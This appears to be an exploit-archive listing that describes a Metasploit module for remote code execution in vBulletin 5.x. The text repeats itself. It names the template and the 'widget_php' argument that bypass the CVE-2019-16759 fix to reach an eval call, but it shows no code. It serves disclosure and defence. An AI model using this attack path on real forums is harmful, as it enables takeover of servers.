vBulletin 5.x Remote Code Execution

vBulletin 5.x Remote Code Execution
Posted Aug 13, 2020
Authored by Zenofex | Site metasploit.com

This Metasploit module exploits a logic bug within the template rendering code in vBulletin 5.x. The module uses the vBulletin template rendering functionality to render the widget_tabbedcontainer_tab_panel template while also providing the widget_php argument. This causes the former template to load the latter bypassing filters originally put in place to address CVE-2019-16759. This also allows the exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution on the target. This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.

This module exploits a logic bug within the template rendering code in vBulletin 5.x.
The module uses the vBulletin template rendering functionality to render the
'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument.
This causes the former template to load the latter bypassing filters originally put in place
to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input
allowing the module to achieve PHP remote code execution on the target. This module has been
tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.
